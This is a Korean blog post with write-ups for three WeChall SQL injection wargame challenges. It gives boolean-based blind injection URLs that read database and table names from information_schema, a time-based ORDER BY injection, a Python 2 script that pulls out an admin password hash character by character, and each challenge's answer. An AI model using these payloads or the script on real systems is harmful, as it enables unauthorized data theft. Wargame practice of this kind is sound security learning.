Table Names
database_tablename 형식이 답.
db = http://www.wechall.net/challenge/table_names/challenge.php?username=test' or if((select ascii(substr(database(),1,1))=32),1,'test')%23&password=test&login=login
table = http://www.wechall.net/challenge/table_names/challenge.php?username=test' or if((select ascii(substr(group_concat(table_name),1,1))=32 from information_schema.tables where table_schema=database()),1,'test')%23&password=test&login=login
두개 합쳐서 concat(database(),group_concat(table_name))~~이런식으로 한번에 뽑아낼수도 있을듯
답 : gizmore_tableu61_usertableus4
Table Names II
위에 문제처럼 db_table형식이 답인데 information_schema.tables를 입력해보면 막혀있다. database()도 막혀있다. 근데 쿼리문을 살펴보면 "SELECT * FROM {$secret['database']}.{$secret['table_name']} WHERE username='$username' AND password='$password'"; 요거다. 현재 실행되는 쿼리를 가져오면 db이름하고 table까지 한번에 가져올 수 있으므로 information_schema.processlist를 이용하자.
http://www.wechall.net/challenge/nurfed/more_table_names/challenge.php?username=test' or if((select ascii(substr(info,1,1))>32 from information_schema.processlist),1,'test')%23&password=test&login=login
이런식으로 한개씩 가져온다.
답 : nurfedtables37_userbobbytable7
Order By Query
들어가보면 ?by=1 이걸로 order by뒤에 숫자를 넣는데, 1,2 이런식으로 더 삽입할수 있다. 더 삽일할 공간에는 1,(sele~) 이런식으로 서브쿼리도 사용 가능하다.
http://www.wechall.net/challenge/order_by_query/index.php?by=4,if((select ascii(substr(password,1,1))>32 from users where username=0x41646d696e),sleep(1),2)
이런식으로 시간 기반 인젝션....
# -*- encoding: cp949 -*- import urllib2,time session = 'WC=8593302-13590-imVNIMquJXXozsej' answer = '' for i in range(1,50): for j in range(32,128): s = time.time() req = urllib2.Request('http://www.wechall.net/challenge/order_by_query/index.php?by=4,if((select%20ascii(substr(password,'+str(i)+',1))%3D'+str(j)+'%20from%20users%20where%20username=0x41646d696e),sleep(1),2)') req.add_header('cookie',session) page = urllib2.urlopen(req).read() gap = time.time() - s print i,j,gap,answer if gap > 8: answer += chr(j) break print answer
너무 느림. 답 : 3C3CBEB0C8ADC66F2922C65E7784BE14
'webhacking > sql, sql injection' 카테고리의 다른 글
codeshell.kr adm1nkyj board (0) | 2015.08.28 |
---|---|
새로 찾아낸 error based sql injection( >5.5 ) (0) | 2015.08.26 |
adm1nkyj님 워게임 prob 6 (codeshell.kr union sqli?) (0) | 2015.08.13 |
codeshell.kr authorization (0) | 2015.08.08 |
codeshell.kr unsolvable (0) | 2015.08.02 |